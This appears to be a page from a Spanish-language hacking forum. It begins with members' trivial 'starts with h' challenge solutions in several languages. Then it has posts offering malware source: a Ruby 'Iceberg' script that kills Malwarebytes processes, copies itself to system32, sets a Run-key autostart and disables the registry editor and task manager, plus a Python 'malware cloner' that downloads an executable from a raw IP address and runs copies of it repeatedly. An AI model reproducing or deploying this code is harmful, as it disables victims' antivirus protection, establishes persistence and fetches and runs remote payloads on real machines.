}
?>


Imagen :



Abnormality - Pascal :

Código: php
program Untitled;
uses crt;
var palabra:string;
begin
writeln('Introducir palabra');
read(palabra);
if (palabra[1]) = 'h' then
write('Primera letra es H, correcto') else
write('Primera letra NO es H, incorrecto');
repeat until keypressed
end.


Imagen :




noxon - No tienes permitido ver los links. Registrarse o Entrar a mi cuenta :



Imagenes :




aneraka - Java :

Código: java
    package Programacion;
     
    import java.util.Scanner;
     
    public class RetoSanko {
     
            /**
             * @param args
             */
            public static void main(String[] args) {
     
                     Scanner sc = new Scanner(System.in);
                     System.out.println("Ingrese la palabra con la condición secreta");
                     String palabra = sc.nextLine().toUpperCase();
                     if(palabra.startsWith("H"))
                             System.out.println("La palabra ingresada es correcta");
                     else
                             System.out.println("La palabra ingresada no es correcta");
            }
     
    }


Imagen :


k0ws - VB6 :
Código: php

Sub Main()
Dim cadena As String
cadena = "hola"
If Left(cadena, 1) = "h" Then
MsgBox "La palabra comienza por h", vbInformation, "Comprobador"
Else
MsgBox "La palabra no comienza por h", vbExclamation, "Comprobador"
End If
End Sub


Imagen : SIn imagen (k0ws es un vaguito).

Xt3mpito - Javascript :

Código: javascript

<script>
var texto = prompt("Escribe una palabra:");
if(texto.substr(0, 1) == "h"){
alert("Empieza con h");
}else{
alert("No empieza con h");
}
</script>


Imagenes :





Oggy - C++ :

Código: php
#include <iostream.h>
using namespace std;
int main (void)
{
    char l[10];
    l[0] = 'h';
    l[1] = 'y';
    l[2] = 'd';
    l[3] = 'r';
    l[4] = 's';
    l[5] = 'c';
    l[6] = 'u';
    l[7] = 't';
    l[8] = 'z';
    l[9] = 'w';
    l[10] = 'z';
   
    char x;
   
    cin>> x;
   
   
    if(x == 'h')
    {
       cout<<"comienza con h";
       
       
        }
       
        else
        {
           cout<<"no comienza con h";
            }
   
    system("pause >>nul");
   
   
}


Imagen:



HD_Breaker - Java :

Código: java
package javaapplication52;
import javax.swing.JOptionPane;
public class JavaApplication52 {

    public static void main(String[] args) {
        String Texto="";
        Texto=JOptionPane.showInputDialog("Ingrese Una Frase");
        char Text[] = new char [Texto.length()];
        for (int i = 0; i < Texto.length(); i++) {
            Text[i] = Texto.charAt(i);
        }
        if (Text[0] == 'h') {
            JOptionPane.showMessageDialog(null, "Correcto");
        }else{
            JOptionPane.showMessageDialog(null, "Incorrecto");
        }
    }
}


imagenes :





Me envias un MP indicando el lenguaje , poneis el code y tambien una imagen y yo os  incorporare al post.

Pasarón el reto :

-Okol - PHP
-Abnormality - Pascal
-Noxon - No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
-Aneraka - Java
-k0ws - VB6
-Xt3mp - Javascript
-Oggy - C++
-HD_Breaker - Java
#38
Ruby / [Ruby] Iceberg Tool - Sanko
Octubre 16, 2012, 05:34:46 PM
Para recordar viejos tiempos , pasar un buen rato y practicar un poco he codeado un ejemplo de iceberg asi como el version publica que se publico hace un (mucho) tiempo.

Advertencia : Esta version del Iceberg es una SIMPLE TRADUCCION de Iceberg Tool Generator Public Version
Lo que significa que no es capaz de evadir a los Antivirus mas actualizados asi como Kaspersky o Nod 32
Para evadirlos existe el Iceberg worm que estan desarrollando Velario y Slore -> No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Código: ruby
############################################################################################################
#                                                                                                          #
# Iceberg Tool Ruby Version  -  Using Malwarebytes like example...    #
# Coded by Sanko    #
# Advertencia : Esta version del Iceberg es una SIMPLE TRADUCCION de Iceberg Tool Generator Public Version #
# Lo que significa que no es capaz de evadir a los Antivirus mas actualizados asi como Kaspersky o Nod 32  #
# Para evadirlos existe el Iceberg worm que estan desarrollando Velario y Slore -> IcebergWorm.es          #
#                                                                                                          #
############################################################################################################

require "win32ole"
require 'win32/registry'
require 'ftools'

def killprocess(process)
require "win32ole"
    var = WIN32OLE.connect("winmgmts://")
    kill = var.ExecQuery("select * from Win32_process where name='#{process}'")
    kill.each do |proceso|
    proceso.Terminate
    end
end

def deshabilitarreg()
system('REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /F')
end

def deshabilitartaskman()
system('REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 0 /F')
end

def autocopy()
File.copy('Iceberg.exe', 'C:\WINDOWS\system32\iceberg.exe')
end

def registrar()
runrute = 'Software\Microsoft\Windows\CurrentVersion\Run'
folderkey = 'iceberg'
Win32::Registry::HKEY_CURRENT_USER.open(Run_branch , Win32::Registry::Constants::KEY_ALL_ACCESS) do |reg|
reg[folderkey] = 'C:\WINDOWS\system32\iceberg.exe'
end
autocopy()
deshabilitarreg()
deshabilitartaskman()
end

def autokill()
killprocess('mbam.exe')
killprocess('mbamgui.exe')
killprocess('mbampt.exe')
killprocess('mbamscheduler.exe')
killprocess('mbamservice.exe')
killprocess('mbam-chamaleon.exe')
killprocess('mbam-killer.exe')
end

def main()
var = 0
registrar()
while var < 10
autokill()
end
end

main()


Saludos...
#39
Ruby / [Ruby] Función KillProcess - Sanko
Octubre 16, 2012, 01:24:13 PM
Buenas , estaba documentandome acerca de 'Win32ole' y 'winmgmts' en ruby y tras mirarlo un poco se me ocurrio hacer esta simple función para matar procesos.

Aqui os la dejo :

Código: ruby
def killprocess(process)
require "win32ole"
    var = WIN32OLE.connect("winmgmts://")
    kill = var.ExecQuery("select * from Win32_process where name='#{process}'")
    kill.each do |proceso|
    proceso.Terminate
    end
end
killprocess('notepad.exe')


Saludos
#40
Python / [Python] Clonador de Malwares - Sanko
Octubre 12, 2012, 08:17:23 PM
Hace un tiempo hice un pequeñito clonador de malware en ruby ,  asi que aqui hice una traducción de este en python.

Aqui dejo el code explicado :

Código: python
#Clonador de Malware - Python Code Example
#Coded by Sanko

import os
import urllib
import time

filedown = 'C:\sk.exe' #var con archivo a descargar
url = 'http://199.91.152.68/cd89ww7cb6jg/67fcyfx9xsf31mz/sk.exe' #Var con url de descarga
fileacopiar = filedown
clon = 'C:\sk\skclon.exe' #ruta en la que el clon se copiara
timeclon = 5 #marcamos el tiempo del sleep

def copy():
os.system('copy ' + fileacopiar + ',' + clon) #Copiamos el archivo en el directorio del clon

def execute():
os.system(clon) #Ejecutamos al clon

def down(): #Descargamos el file
archivo = urllib.urlretrieve(url,filedown)
os.system(clon)

def executeandcopy():
var = 0
while var < 10:
time.sleep(timeclon) #Cada timeclon segundos...
copy() #ejecutamos funcion copy
execute() #ejecutamos funcion execute

down() #ejecutamos funcion down
executeandcopy() #ejecutamos funcion executeandcopy


Este tan solo es un ejemplo , se puede ampliar a gran nivel pero bueno a cada cual lo que le interese.